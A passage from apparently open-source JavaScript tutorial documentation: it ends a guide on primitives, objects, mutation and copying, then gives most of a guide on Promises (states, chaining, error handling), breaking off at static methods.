}); return copy; } ``` </Accordion> <Accordion title="2. Array Methods That Mutate"> ```javascript // These MUTATE the original array: arr.push() arr.pop() arr.shift() arr.unshift() arr.splice() arr.sort() arr.reverse() arr.fill() // These RETURN a new array (safe): arr.map() arr.filter() arr.slice() arr.concat() arr.flat() arr.flatMap() arr.toSorted() arr.toReversed() // ES2023 arr.toSpliced() // ES2023 // GOTCHA: sort() mutates! const nums = [3, 1, 2]; const sorted = nums.sort(); // nums is NOW [1, 2, 3]! // FIX: Copy first, or use toSorted() const sorted = [...nums].sort(); const sorted = nums.toSorted(); // ES2023 ``` </Accordion> <Accordion title="3. Comparing Objects/Arrays"> ```javascript // BUG: This will NEVER work if (user1 === user2) { } // Compares identity if (arr1 === arr2) { } // Compares identity // Even these fail: [] === [] // false {} === {} // false [1, 2] === [1, 2] // false // FIX: Compare contents JSON.stringify(a) === JSON.stringify(b) // Simple but limited // Or use a deep equality function/library ``` </Accordion> <Accordion title="4. Shallow Copy with Nested Objects"> ```javascript // BUG: Shallow copy doesn't clone nested objects const user = { name: "Alice", settings: { theme: "dark" } }; const copy = { ...user }; copy.settings.theme = "light"; console.log(user.settings.theme); // "light" — Original changed! // FIX: Use deep copy const copy = structuredClone(user); ``` </Accordion> <Accordion title="5. Forgetting Arrays Are Objects"> ```javascript // BUG: Thinking you have two arrays const original = [1, 2, 3]; const backup = original; // NOT a backup! original.push(4); console.log(backup); // [1, 2, 3, 4] — "backup" changed! // FIX: Actually copy the array const backup = [...original]; const backup = original.slice(); ``` </Accordion> <Accordion title="6. Expecting Reassignment to Affect Original"> ```javascript // BUG: Thinking reassignment passes through function clearArray(arr) { arr = []; // Only reassigns local variable! } const myArr = [1, 2, 3]; clearArray(myArr); console.log(myArr); // [1, 2, 3] — unchanged! // FIX: Mutate instead of reassign function clearArray(arr) { arr.length = 0; // Mutates the original } ``` </Accordion> </AccordionGroup> --- ## Best Practices <Tip> **Guidelines for working with objects:** 1. **Treat objects as immutable when possible** ```javascript // Instead of mutating: user.name = "Bob"; // Create a new object: const updatedUser = { ...user, name: "Bob" }; ``` 2. **Use `const` by default** — prevents accidental reassignment 3. **Know which methods mutate** - Mutating: `push`, `pop`, `sort`, `reverse`, `splice` - Non-mutating: `map`, `filter`, `slice`, `concat`, `toSorted` 4. **Use `structuredClone()` for deep copies** ```javascript const clone = structuredClone(original); ``` 5. **Clone function parameters if you need to modify them** ```javascript function processData(data) { const copy = structuredClone(data); // Now safe to modify copy } ``` 6. **Be explicit about intent** — comment when mutating on purpose </Tip> --- ## Key Takeaways <Info> **The key things to remember:** 1. **Primitives vs Objects** — the ECMAScript terms (not "value types" vs "reference types") 2. **The real difference is mutability** — primitives are immutable, objects are mutable 3. **Call by sharing** — JavaScript passes ALL values as copies of references; mutation works, reassignment doesn't 4. **Object identity** — objects are compared by identity, not content (`{} === {}` is false) 5. **`const` prevents reassignment, not mutation** — use `Object.freeze()` for true immutability 6. **Shallow copy shares nested objects** — use `structuredClone()` for deep copies 7. **Know your array methods** — `push/pop/sort` mutate; `map/filter/slice` don't 8. **The stack/heap model is a simplification** — useful for understanding behavior, not technically accurate 9. **In V8, only Smis are stored directly** — strings, BigInts, and objects all live on the heap 10. **Symbols have identity** — two `Symbol("id")` are different, unlike other primitives </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between primitives and objects?"> **Answer:** - **Primitives are immutable** — you cannot change a primitive value, only replace it. Copies behave independently. - **Objects are mutable** — you CAN change an object's contents. Multiple variables can point to the same object. The distinction is about **mutability**, not storage location. </Accordion> <Accordion title="Question 2: What does this code output?"> ```javascript let a = { count: 1 }; let b = a; b.count = 5; console.log(a.count); ``` **Answer:** `5` Both `a` and `b` point to the same object. When you modify `b.count`, you're modifying the shared object, which `a` also sees. This is because **mutation affects the shared object**. </Accordion> <Accordion title="Question 3: Why does {} === {} return false?"> **Answer:** Because `===` compares **identity** (same object), not contents. Each `{}` creates a NEW empty object in memory. Even though they have the same contents (both empty), they are different objects. ```javascript {} === {} // false (different objects) const a = {}; const b = a; a === b // true (same object) ``` </Accordion> <Accordion title="Question 4: What's the difference between call by sharing and pass by reference?"> **Answer:** - **Call by sharing:** Function receives a copy of the reference. Mutation works, but reassignment only changes the local parameter. - **Pass by reference (C++ style):** Parameter is an alias for the argument. Reassignment WOULD change the original. JavaScript uses call by sharing. That's why this doesn't work: ```javascript function replace(obj) { obj = { new: "object" }; // Only changes local parameter } let x = { old: "object" }; replace(x); console.log(x); // { old: "object" } — unchanged! ``` </Accordion> <Accordion title="Question 5: Does const prevent object mutation?"> **Answer:** No! `const` only prevents **reassignment** — you can't make the variable point to a different value. But you CAN still **mutate** the object's contents. ```javascript const obj = { name: "Alice" }; obj.name = "Bob"; // ✅ Allowed (mutation) obj.age = 25; // ✅ Allowed (mutation) obj = {}; // ❌ Error (reassignment) ``` Use `Object.freeze()` for true immutability. </Accordion> <Accordion title="Question 6: Are strings really stored on the stack?"> **Answer:** No! This is a common myth. In V8, **only Smis (small integers)** are stored directly. Strings are dynamically-sized and stored on the heap. The variable holds a pointer to the string's location in heap memory. The "stack vs heap" model is a **mental model for behavior**, not how JavaScript actually works. </Accordion> <Accordion title="Question 7: What's the difference between shallow and deep copy?"> **Answer:** - **Shallow copy** creates a new object but shares nested objects - **Deep copy** creates independent copies at ALL levels ```javascript const original = { nested: { value: 1 } }; // Shallow: nested is shared const shallow = { ...original }; shallow.nested.value = 2; console.log(original.nested.value); // 2 (affected!) // Deep: completely independent const deep = structuredClone(original); deep.nested.value = 3; console.log(original.nested.value); // 2 (unchanged) ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between primitives and objects in JavaScript?"> Primitives (string, number, bigint, boolean, undefined, null, symbol) are immutable — you cannot change a primitive value, only replace it. Objects (including arrays, functions, and dates) are mutable — you can change their contents. According to the ECMAScript specification, this mutability distinction is the fundamental behavioral difference between the two categories. </Accordion> <Accordion title="Is JavaScript pass by value or pass by reference?"> Neither. JavaScript uses "call by sharing," a strategy first described by Barbara Liskov in 1974. All values — both primitives and objects — are passed as copies of references. This means mutation of an object parameter affects the original, but reassigning the parameter does not. This is why `obj.name = "Bob"` works inside a function but `obj = newObj` does not change the caller's variable. </Accordion> <Accordion title="Why does changing a copied object affect the original in JavaScript?"> When you write `let copy = original`, you copy the reference (the "key to the house"), not the object itself. Both variables point to the same object in memory. As documented in MDN, use `structuredClone()` for a deep copy or the spread operator (`{...obj}`) for a shallow copy to create independent duplicates. </Accordion> <Accordion title="How do you create a deep copy of an object in JavaScript?"> Use `structuredClone(original)`, which was standardized in 2022 and is available in all modern browsers and Node.js 17+. For older environments, `JSON.parse(JSON.stringify(obj))` works for simple objects but loses functions, Dates, undefined, and circular references. Libraries like Lodash offer `_.cloneDeep()` for maximum compatibility. </Accordion> <Accordion title="Why does {} === {} return false in JavaScript?"> Objects are compared by identity (reference), not by content. Each `{}` literal creates a new, distinct object in memory. Even though both are empty, they occupy different memory addresses. The ECMAScript specification defines this as the "Strict Equality Comparison" algorithm — for objects, it checks whether both operands refer to the exact same object. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Primitive Types" icon="atom" href="/concepts/primitive-types"> Deep dive into the 7 primitive types and their characteristics </Card> <Card title="JavaScript Engines" icon="microchip" href="/concepts/javascript-engines"> How V8 compiles and optimizes your code, including memory management </Card> <Card title="Type Coercion" icon="shuffle" href="/concepts/type-coercion"> How JavaScript converts between types automatically </Card> <Card title="Scope and Closures" icon="layer-group" href="/concepts/scope-and-closures"> How closures capture references to variables </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="ECMAScript Data Types — ECMA-262" icon="book" href="https://tc39.es/ecma262/#sec-ecmascript-data-types-and-values"> The official specification defining primitive values and objects in JavaScript. </Card> <Card title="JavaScript Data Structures — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures"> MDN's comprehensive guide to JavaScript's type system and data structures. </Card> <Card title="Object.freeze() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze"> Documentation on freezing objects for immutability. </Card> <Card title="structuredClone() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/structuredClone"> The modern way to create deep copies of objects. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Evaluation Strategy in ECMAScript — Dmitry Soshnikov" icon="newspaper" href="https://dmitrysoshnikov.com/ecmascript/chapter-8-evaluation-strategy/"> The definitive explanation of call-by-sharing in ECMAScript by a language theory expert. Includes comparison with true pass-by-reference and detailed examples. </Card> <Card title="Is JavaScript Pass by Reference? — Aleksandr Hovhannisyan" icon="newspaper" href="https://www.aleksandrhovhannisyan.com/blog/javascript-pass-by-reference/"> Excellent deep-dive debunking the "pass by reference" myth. Explains true references vs object references with C++ comparisons. </Card> <Card title="Mutability vs Immutability — freeCodeCamp" icon="newspaper" href="https://freecodecamp.org/news/mutability-vs-immutability-in-javascript"> Beginner-friendly guide focusing on the practical differences between mutable and immutable data in JavaScript. </Card> <Card title="JavaScript Primitive vs. Reference Values" icon="newspaper" href="https://www.javascripttutorial.net/javascript-primitive-vs-reference-values/"> Clear explanation with visual diagrams showing how primitives and objects behave differently. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Pass by Value vs Pass by Reference | Call by Sharing — The Code Dose" icon="video" href="https://www.youtube.com/watch?v=6xOCZdxfvFY"> Modern explanation using the correct "call by sharing" terminology. Part of an excellent Understanding JavaScript series. </Card> <Card title="JavaScript Pass by Value vs Pass by Reference — techsith" icon="video" href="https://www.youtube.com/watch?v=E-dAnFdq8k8"> Popular tutorial (37K+ views) with clear examples of how primitives and objects behave differently in functions. </Card> <Card title="Understanding Passing by Reference or Value — Steve Griffith" icon="video" href="https://www.youtube.com/watch?v=--Md6-8GAio"> Comprehensive walkthrough covering primitives vs objects, function parameters, and common misconceptions. </Card> </CardGroup> ================================================ FILE: docs/concepts/promises.mdx ================================================ --- title: "Promises" sidebarTitle: "Promises: Managing Async Operations" description: "Learn JavaScript Promises. Create, chain, and combine Promises, handle errors properly, and avoid common async pitfalls." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Async JavaScript" "article:tag": "javascript promises, promise chaining, Promise.all, async error handling, then catch finally" --- What if you could represent a value that doesn't exist yet? What if instead of deeply nested callbacks, you could write asynchronous code that reads almost like synchronous code? ```javascript // Instead of callback hell... getUser(userId, function(user) { getPosts(user.id, function(posts) { getComments(posts[0].id, function(comments) { console.log(comments) }) }) }) // ...Promises give you this: getUser(userId) .then(user => getPosts(user.id)) .then(posts => getComments(posts[0].id)) .then(comments => console.log(comments)) ``` A **[Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)** is an object representing the eventual completion or failure of an asynchronous operation. Standardized in the ECMAScript 2015 (ES6) specification, it's a placeholder for a value that will show up later. Think of it like an order ticket at a restaurant that you'll trade for food when it's ready. <Info> **What you'll learn in this guide:** - What Promises are and why they were invented - The three states of a Promise: pending, fulfilled, rejected - How to create Promises with the Promise constructor - How to consume Promises with `.then()`, `.catch()`, and `.finally()` - How Promise chaining works and why it's powerful - All the Promise static methods: `all`, `allSettled`, `race`, `any`, `resolve`, `reject`, `withResolvers`, `try` - Common patterns and mistakes to avoid </Info> <Warning> **Prerequisite:** This guide assumes you understand [Callbacks](/concepts/callbacks). Promises were invented to solve problems with callbacks, so understanding callbacks will help you appreciate why Promises exist and how they improve async code. </Warning> --- ## What is a Promise? A **[Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)** is a JavaScript object that represents the eventual result of an asynchronous operation. When you create a Promise, you're saying: "I don't have the value right now, but I *promise* to give you a value (or an error) later." ```javascript // A Promise that resolves after 1 second const promise = new Promise((resolve, reject) => { setTimeout(() => { resolve('Hello from the future!') }, 1000) }) // Consuming the Promise promise.then(value => { console.log(value) // "Hello from the future!" (after 1 second) }) ``` Unlike callbacks that you pass *into* functions, Promises are objects you get *back* from functions. This small change unlocks useful patterns like chaining, composition, and unified error handling. <CardGroup cols={2}> <Card title="Promise — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise"> Official MDN documentation for the Promise object </Card> <Card title="Using Promises — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises"> MDN guide on how to use Promises effectively </Card> </CardGroup> --- ## The Restaurant Order Analogy Let's make this concrete. Imagine you're at a busy restaurant: 1. **You place an order** — The waiter gives you an order ticket (a Promise) 2. **You wait** — The kitchen is cooking (the async operation is pending) 3. **One of two things happens:** - **Food is ready** — You exchange your ticket for food (Promise fulfilled) - **Kitchen ran out of ingredients** — You get an apology instead (Promise rejected) ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE PROMISE LIFECYCLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOU KITCHEN │ │ ┌──────────┐ ┌──────────────┐ │ │ │ │ "I'll have the │ │ │ │ │ :) │ ─────pasta!─────► │ [chef] │ │ │ │ │ │ │ │ │ └──────────┘ └──────────────┘ │ │ │ │ │ │ │ Here's your │ │ │ │ ORDER TICKET │ Cooking... │ │ │ (Promise) │ (Pending) │ │ ▼ │ │ │ ┌──────────┐ │ │ │ │ TICKET │ │ │ │ │ #42 │◄───────────────────────────┘ │ │ │ PENDING │ │ │ └──────────┘ │ │ │ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ OUTCOME │ │ │ ├─────────────────────────┬───────────────────────────────┤ │ │ │ │ │ │ │ │ FULFILLED │ REJECTED │ │ │ │ ┌──────────┐ │ ┌──────────┐ │ │ │ │ │ PASTA │ │ │ SORRY! │ │ │ │ │ │ :D │ │ │ No more │ │ │ │ │ │ │ │ │ pasta │ │ │ │ │ └──────────┘ │ └──────────┘ │ │ │ │ You got what │ Something went │ │ │ │ you ordered! │ wrong │ │ │ │ │ │ │ │ └─────────────────────────┴───────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Here's how this maps to JavaScript: | Restaurant | Promise | Code | |------------|---------|------| | Order ticket | Promise object | `const promise = fetch(url)` | | Waiting for food | Pending state | Promise exists but hasn't settled | | Food arrives | Fulfilled state | `resolve(value)` was called | | Out of ingredients | Rejected state | `reject(error)` was called | | Picking up food | `.then()` handler | `promise.then(food => eat(food))` | | Handling problems | `.catch()` handler | `promise.catch(err => complain(err))` | Here's the important part: **once your order is fulfilled or rejected, it doesn't change**. You can't un-eat the pasta or un-reject the apology. Similarly, once a Promise settles, its state is permanent. According to the ECMAScript specification, this immutability guarantee (called "settled" state) is what makes Promises reliable building blocks for complex async workflows. --- ## Why Promises? The Callback Problem Before we go further, let's quickly look at why Promises were invented. If you've read the [Callbacks guide](/concepts/callbacks), you know about "callback hell": the deeply nested, hard-to-read code that happens when you chain multiple async operations: ```javascript // Callback Hell - The Pyramid of Doom getUserData(userId, function(error, user) { if (error) { handleError(error) return } getOrderHistory(user.id, function(error, orders) { if (error) { handleError(error) return } getOrderDetails(orders[0].id, function(error, details) { if (error) { handleError(error) return } getShippingStatus(details.shipmentId, function(error, status) { if (error) { handleError(error) return } console.log(status) }) }) }) }) ``` The same logic with Promises: ```javascript // Promises - Flat and Readable getUserData(userId) .then(user => getOrderHistory(user.id)) .then(orders => getOrderDetails(orders[0].id)) .then(details => getShippingStatus(details.shipmentId)) .then(status => console.log(status)) .catch(error => handleError(error)) // One place for ALL errors! ``` <Tip> **Why Promises are better:** - **Flat structure** — No more pyramid of doom - **Unified error handling** — One `.catch()` handles all errors in the chain - **Composition** — Promises can be combined with `Promise.all()`, `Promise.race()`, etc. - **Guaranteed async** — `.then()` callbacks always run asynchronously (on the microtask queue) - **Return values** — Promises are objects you can store, pass around, and return from functions </Tip> --- ## Promise States and Fate Every Promise is in one of three **states**: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PROMISE STATES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────┐ │ │ │ PENDING │ │ │ │ │ │ │ │ Waiting │ │ │ │ for │ │ │ │ result │ │ │ └─────┬─────┘ │ │ │ │ │ ┌─────────────────┴─────────────────┐ │ │ │ │ │ │ ▼ ▼ │ │ ┌───────────────┐ ┌───────────────┐ │ │ │ FULFILLED │ │ REJECTED │ │ │ │ │ │ │ │ │ │ Success! │ │ Failed! │ │ │ │ Has value │ │ Has reason │ │ │ └───────────────┘ └───────────────┘ │ │ │ │ ◄─────────────── SETTLED (final state) ───────────────► │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` | State | Description | Can Change? | |-------|-------------|-------------| | **Pending** | Initial state. The async operation is still in progress. | Yes | | **Fulfilled** | The operation completed successfully. The Promise has a value. | No | | **Rejected** | The operation failed. The Promise has a reason (error). | No | A Promise that is either fulfilled or rejected is called **settled**. Once settled, a Promise's state is locked in and never changes. ```javascript const promise = new Promise((resolve, reject) => { resolve('first') // Promise is now FULFILLED with value 'first' resolve('second') // Ignored! Promise already settled reject('error') // Also ignored! Promise already settled }) promise.then(value => { console.log(value) // "first" }) ``` <Warning> **Important:** Calling `resolve()` or `reject()` multiple times does nothing after the first call. The Promise settles once and only once. </Warning> ### Promise Fate: Resolved vs Unresolved There's a subtle but useful distinction between a Promise's **state** and its **fate**: - **State** = pending, fulfilled, or rejected - **Fate** = resolved or unresolved Think of it like this: when you place your restaurant order, your fate is "sealed" the moment the waiter writes it down, even though you haven't received your food yet (still pending). You can't change your order anymore. A Promise is **resolved** when its fate is sealed, either because it's already settled, or because it's "locked in" to follow another Promise: ```javascript const innerPromise = new Promise(resolve => { setTimeout(() => resolve('inner value'), 1000) }) const outerPromise = new Promise(resolve => { resolve(innerPromise) // Resolving with another Promise! }) // outerPromise is now "resolved" (its fate is locked to innerPromise) // but it's still "pending" (its state hasn't settled yet) outerPromise.then(value => { console.log(value) // "inner value" (after 1 second) }) ``` When you resolve a Promise with another Promise, the outer Promise "adopts" the state of the inner one. This is called **Promise unwrapping**. The outer Promise automatically follows whatever happens to the inner Promise. ### Thenables JavaScript doesn't just work with native Promises — it also supports **thenables**. A thenable is any object with a `.then()` method. This allows Promises to interoperate with Promise-like objects from libraries: ```javascript // A thenable is any object with a .then() method const thenable = { then(onFulfilled, onRejected) { onFulfilled(42) } } // Promise.resolve() unwraps thenables Promise.resolve(thenable).then(value => { console.log(value) // 42 }) // Returning a thenable from .then() also works Promise.resolve('start') .then(() => thenable) .then(value => console.log(value)) // 42 ``` This is why `Promise.resolve()` doesn't always return a new Promise — if you pass it a native Promise, it returns the same Promise: ```javascript const p = Promise.resolve('hello') const p2 = Promise.resolve(p) console.log(p === p2) // true ``` --- ## Creating Promises ### The Promise Constructor You create a new Promise using the `Promise` constructor, which takes an **executor function**: ```javascript const promise = new Promise((resolve, reject) => { // Your async code here // Call resolve(value) on success // Call reject(error) on failure }) ``` The executor receives two arguments: - **`resolve(value)`** — Call this to fulfill the Promise with a value - **`reject(reason)`** — Call this to reject the Promise with an error <Warning> **Heads up:** The executor function runs **immediately and synchronously** when you create the Promise. Only the `.then()` callbacks are asynchronous. ```javascript console.log('Before Promise') const promise = new Promise((resolve, reject) => { console.log('Inside executor (synchronous!)') resolve('done') }) console.log('After Promise') promise.then(value => { console.log('Inside then (asynchronous)') }) console.log('After then') // Output: // Before Promise // Inside executor (synchronous!) // After Promise // After then // Inside then (asynchronous) ``` </Warning> ### Wrapping setTimeout in a Promise You'll often use the Promise constructor to wrap old callback-style code. Let's create a handy `delay` function: ```javascript // Create a Promise that resolves after ms milliseconds function delay(ms) { return new Promise(resolve => { setTimeout(resolve, ms) }) } // Usage console.log('Starting...') delay(2000).then(() => { console.log('2 seconds have passed!') }) // Or with a value function delayedValue(value, ms) { return new Promise(resolve => { setTimeout(() => resolve(value), ms) }) } delayedValue('Hello!', 1000).then(message => { console.log(message) // "Hello!" (after 1 second) }) ``` ### Wrapping Callback-Based APIs Here's a real-world example: turning a callback-based image loader into a Promise: ```javascript // Original callback-based function function loadImageCallback(url, onSuccess, onError) { const img = new Image() img.onload = () => onSuccess(img) img.onerror = () => onError(new Error(`Failed to load ${url}`)) img.src = url } // Promise-based wrapper function loadImage(url) { return new Promise((resolve, reject) => { const img = new Image() img.onload = () => resolve(img) img.onerror = () => reject(new Error(`Failed to load ${url}`)) img.src = url }) } // Now you can use it with .then() or async/await! loadImage('https://example.com/photo.jpg') .then(img => { console.log(`Loaded image: ${img.width}x${img.height}`) document.body.appendChild(img) }) .catch(error => { console.error('Failed to load image:', error.message) }) ``` ### Handling Errors in the Executor If an error is thrown inside the executor, the Promise is automatically rejected: ```javascript const promise = new Promise((resolve, reject) => { throw new Error('Something went wrong!') // No need to call reject() — the throw does it automatically }) promise.catch(error => { console.log(error.message) // "Something went wrong!" }) ``` This is equivalent to: ```javascript const promise = new Promise((resolve, reject) => { reject(new Error('Something went wrong!')) }) ``` --- ## Consuming Promises: then, catch, finally Once you have a Promise, you need to actually *do* something with it when it finishes. JavaScript gives you three methods for this. ### .then() — The Core Method The **[`.then()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then)** method is the primary way to handle Promise results. It takes up to two callbacks: ```javascript promise.then(onFulfilled, onRejected) ``` - **`onFulfilled(value)`** — Called when the Promise is fulfilled - **`onRejected(reason)`** — Called when the Promise is rejected ```javascript const promise = new Promise((resolve, reject) => { const random = Math.random() if (random > 0.5) { resolve(`Success! Random was ${random}`) } else { reject(new Error(`Failed! Random was ${random}`)) } }) promise.then( value => console.log('Fulfilled:', value), error => console.log('Rejected:', error.message) ) ``` Most commonly, you'll only pass the first callback and use `.catch()` for errors: ```javascript promise.then(value => { console.log('Got value:', value) }) ``` ### .catch() — Handling Rejections The **[`.catch()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch)** method is syntactic sugar for `.then(undefined, onRejected)`: ```javascript // These are equivalent: promise.catch(error => handleError(error)) promise.then(undefined, error => handleError(error)) ``` Using `.catch()` is cleaner and more readable: ```javascript fetchUserData(userId) .then(user => processUser(user)) .then(result => saveResult(result)) .catch(error => { // Catches errors from fetchUserData, processUser, OR saveResult console.error('Something went wrong:', error.message) }) ``` ### .finally() — Cleanup Code The **[`.finally()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally)** method runs code no matter if the Promise was fulfilled or rejected. It's great for cleanup: ```javascript let isLoading = true fetchData(url) .then(data => { displayData(data) }) .catch(error => { displayError(error) }) .finally(() => { // This runs no matter what! isLoading = false hideLoadingSpinner() }) ``` <Note> **How `.finally()` works:** - It receives no arguments (it doesn't know if the Promise fulfilled or rejected) - It returns a Promise that "passes through" the original value/error - If you throw or return a rejected Promise in `.finally()`, that error propagates </Note> ```javascript Promise.resolve('hello') .finally(() => { console.log('Cleanup!') // Return value is ignored return 'ignored' }) .then(value => { console.log(value) // "hello" (not "ignored"!) }) ``` ### Every Handler Returns a New Promise This is **key** to understand: `.then()`, `.catch()`, and `.finally()` all return **new Promises**. This is what makes chaining possible: ```javascript const promise1 = Promise.resolve(1) const promise2 = promise1.then(x => x + 1) const promise3 = promise2.then(x => x + 1) // promise1, promise2, and promise3 are THREE DIFFERENT Promises! console.log(promise1 === promise2) // false console.log(promise2 === promise3) // false promise3.then(value => console.log(value)) // 3 ``` --- ## Promise Chaining Promise chaining is where Promises shine. Since each `.then()` returns a new Promise, you can chain them together: ```javascript Promise.resolve(1) .then(x => { console.log(x) // 1 return x + 1 }) .then(x => { console.log(x) // 2 return x + 1 }) .then(x => { console.log(x) // 3 return x + 1 }) .then(x => { console.log(x) // 4 }) ``` ### How Chaining Works The value returned from a `.then()` callback becomes the fulfillment value of the Promise returned by `.then()`: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PROMISE CHAINING FLOW │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Promise.resolve(1) │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────┐ │ │ │ .then(x => x * 2) │ │ │ │ │ │ │ │ Input: 1 │ │ │ │ Return: 2 │ │ │ │ Output Promise: fulfilled with 2 │ │ │ └─────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────┐ │ │ │ .then(x => x + 10) │ │ │ │ │ │ │ │ Input: 2 │ │ │ │ Return: 12 │ │ │ │ Output Promise: fulfilled with 12 │ │ │ └─────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────┐ │ │ │ .then(x => console.log(x)) │ │ │ │ │ │ │ │ Input: 12 │ │ │ │ Console: "12" │ │ │ │ Return: undefined │ │ │ │ Output Promise: fulfilled with undefined │ │ │ └─────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Returning Promises in Chains If you return a Promise from a `.then()` callback, the chain waits for it to finish: ```javascript function fetchUser(id) { return new Promise(resolve => { setTimeout(() => resolve({ id, name: 'Alice' }), 100) }) } function fetchPosts(userId) { return new Promise(resolve => { setTimeout(() => resolve([ { id: 1, title: 'First Post' }, { id: 2, title: 'Second Post' } ]), 100) }) } // Chain of async operations fetchUser(1) .then(user => { console.log('Got user:', user.name) return fetchPosts(user.id) // Return a Promise }) .then(posts => { // This waits for fetchPosts to complete! console.log('Got posts:', posts.length) }) // Output: // Got user: Alice // Got posts: 2 ``` <Tip> **The #1 Rule of Chaining:** Always `return` from your `.then()` callbacks! Forgetting to return is the most common Promise mistake. ```javascript // ❌ WRONG - forgot to return fetchUser(1) .then(user => { fetchPosts(user.id) // Oops! Not returned }) .then(posts => { console.log(posts) // undefined! The Promise wasn't returned }) // ✓ CORRECT - return the Promise fetchUser(1) .then(user => { return fetchPosts(user.id) // Explicitly return }) .then(posts => { console.log(posts) // [{ id: 1, ... }, { id: 2, ... }] }) // ✓ ALSO CORRECT - arrow function implicit return fetchUser(1) .then(user => fetchPosts(user.id)) // Implicit return .then(posts => console.log(posts)) ``` </Tip> ### Transforming Values Through the Chain Each step in the chain can transform the value: ```javascript Promise.resolve('hello') .then(str => str.toUpperCase()) // 'HELLO' .then(str => str + '!') // 'HELLO!' .then(str => str.repeat(3)) // 'HELLO!HELLO!HELLO!' .then(str => str.split('!')) // ['HELLO', 'HELLO', 'HELLO', ''] .then(arr => arr.filter(s => s.length)) // ['HELLO', 'HELLO', 'HELLO'] .then(arr => arr.length) // 3 .then(count => console.log(count)) // Logs: 3 ``` --- ## Error Handling Error handling is where Promises shine. Errors automatically flow down the chain until something catches them. ### Error Propagation When a Promise is rejected or an error is thrown, it "skips" all `.then()` callbacks until it finds a `.catch()`: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ ERROR PROPAGATION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Promise.reject(new Error('Oops!')) │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────┐ │ │ │ .then(x => x * 2) │ ◄── SKIPPED │ │ └─────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────┐ │ │ │ .then(x => x + 10) │ ◄── SKIPPED │ │ └─────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────┐ │ │ │ .catch(err => console.log(err.message)) │ ◄── CAUGHT HERE! │ │ │ │ │ │ │ Output: "Oops!" │ │ │ └─────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────┐ │ │ │ .then(() => console.log('Recovered!')) │ ◄── RUNS (chain │ │ └─────────────────────────────────────────────┘ continues) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ```javascript Promise.reject(new Error('Oops!')) .then(x => { console.log('This never runs') return x * 2 }) .then(x => { console.log('This never runs either') return x + 10 }) .catch(error => { console.log('Caught:', error.message) // "Caught: Oops!" return 'recovered' }) .then(value => { console.log('Continued with:', value) // "Continued with: recovered" }) ``` ### Throwing Errors in .then() If you throw an error in a `.then()` callback (or return a rejected Promise), the chain rejects: ```javascript Promise.resolve('start') .then(value => { console.log(value) // "start" throw new Error('Something went wrong!') }) .then(value => { console.log('This is skipped') }) .catch(error => { console.log('Caught:', error.message) // "Caught: Something went wrong!" }) ``` ### Re-throwing Errors Sometimes you want to log an error but still let it bubble up: ```javascript fetchData(url) .catch(error => { // Log the error console.error('Error fetching data:', error.message) // Re-throw to continue propagating throw error }) .then(data => { // This won't run if there was an error processData(data) }) .catch(error => { // Handle at a higher level showUserError('Failed to load data') }) ``` ### Multiple .catch() Handlers You can have multiple `.catch()` handlers in a chain for different error handling strategies: ```javascript fetchUser(userId) .then(user => { if (!user.isActive) { throw new Error('User is inactive') } return fetchUserPosts(user.id) }) .catch(error => { // Handle user-related errors if (error.message === 'User is inactive') { return [] // Return empty posts for inactive users } throw error // Re-throw other errors }) .then(posts => renderPosts(posts)) .catch(error => { // Handle all other errors (network, rendering, etc.) console.error('Failed:', error) showFallbackUI() }) ``` ### The Unhandled Rejection Problem <Warning> **Always handle Promise rejections!** If a Promise is rejected and there's no `.catch()` handler, modern JavaScript environments will warn you about an "unhandled promise rejection": ```javascript // ❌ BAD - Unhandled rejection Promise.reject(new Error('Oops!')) // ❌ BAD - Error in .then() with no .catch() Promise.resolve('data') .then(data => { throw new Error('Processing failed!') }) // UnhandledPromiseRejection warning! // ✓ GOOD - Always have a .catch() Promise.reject(new Error('Oops!')) .catch(error => console.error('Handled:', error.message)) ``` In Node.js, unhandled rejections can crash your application in future versions. In browsers, they're logged as errors. </Warning> --- ## Promise Static Methods The 